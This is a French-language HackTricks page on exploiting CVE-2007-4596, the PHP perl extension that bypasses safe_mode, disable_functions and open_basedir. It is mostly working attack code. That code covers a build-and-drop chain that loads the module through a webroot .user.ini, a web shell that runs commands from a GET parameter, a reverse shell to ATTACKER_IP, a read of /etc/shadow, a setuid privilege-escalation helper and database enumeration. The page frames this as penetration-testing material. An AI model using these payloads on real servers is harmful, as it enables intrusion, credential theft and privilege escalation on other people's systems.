PHP Perl Extension Safe_mode Bypass Exploit
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Contexte
Le problème répertorié CVE-2007-4596 provient de l’extension PHP legacy perl, qui intègre un interpréteur Perl complet sans respecter les contrôles safe_mode, disable_functions ou open_basedir de PHP. Tout worker PHP qui charge extension=perl.so obtient un eval Perl sans restriction, donc l’exécution de commandes reste triviale même lorsque tous les primitives classiques de spawn de processus PHP sont bloquées. Bien que safe_mode ait disparu dans PHP 5.4, de nombreuses stacks d’hébergement mutualisé obsolètes et des labs vulnérables l’incluent encore, donc ce contournement reste utile lorsque vous tombez sur des panneaux de contrôle legacy.
Compatibilité & statut du packaging (2025)
- La dernière release PECL (
perl-1.0.1, 2013) cible PHP ≥5.0 ; PHP 8+ échoue généralement parce que les APIs Zend ont changé. - PECL est en train d’être supplanté par PIE, mais les stacks plus anciennes distribuent encore PECL/pear. Utilisez le flux ci-dessous pour des cibles PHP 5/7 ; sur des PHP plus récents prévoyez de rétrograder ou de basculer vers un autre chemin d’injection (par ex., userland FFI).
Construction d’un environnement testable en 2025
- Récupérez
perl-1.0.1depuis PECL, compilez-le pour la branche PHP que vous comptez attaquer, et chargez-le globalement (php.ini) ou viadl()(si permis). - Recette rapide pour un lab basé sur Debian :
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
- Pendant l’exploitation, confirmez la disponibilité avec
var_dump(extension_loaded('perl'));ouprint_r(get_loaded_extensions());. Si absent, recherchezperl.soou abusez des entréesphp.ini/.user.iniinscriptibles pour forcer son chargement. - Parce que l’interpréteur vit à l’intérieur du worker PHP, aucun binaire externe n’est nécessaire — les filtres d’egress réseau ou les blacklists
proc_openn’ont pas d’importance.
Chaîne de build sur l’hôte lorsque phpize est accessible
Si phpize et build-essential sont présents sur l’hôte compromis, vous pouvez compiler et déposer perl.so sans appeler le shell de l’OS :
# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini
Si open_basedir est appliqué, assurez-vous que le .user.ini et le .so déposés se trouvent dans un chemin autorisé ; la directive extension= est toujours prise en compte à l’intérieur du basedir. Le flux de compilation reflète le manuel PHP pour la construction des extensions PECL.
Original PoC (NetJackal)
D’après http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, toujours utile pour confirmer que l’extension répond à eval :
<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>
Améliorations modernes du Payload
1. Full TTY over TCP
L’interpréteur embarqué peut charger IO::Socket même si /usr/bin/perl est bloqué :
$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN, '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);
2. Évasion du système de fichiers même avec open_basedir
Perl ignore open_basedir de PHP, donc vous pouvez lire des fichiers arbitraires :
$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
Dirigez la sortie via IO::Socket::INET ou Net::HTTP pour exfiltrate data sans toucher aux descripteurs gérés par PHP.
3. Inline Compilation for Privilege Escalation
Si Inline::C existe au niveau du système, compilez des helpers dans la requête sans dépendre de ffi ou pcntl de PHP :
$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);
4. Living-off-the-Land Énumération
Considérez Perl comme une boîte à outils LOLBAS — par ex., dump MySQL DSNs même si mysqli est manquant:
$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
References
- CVE-2007-4596 résumé et chronologie
- Informations sur le package d’extension PECL perl
- PHP Manual : Compilation des extensions PECL avec phpize
- Page d’accueil PECL annonçant le remplacement de PIE
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


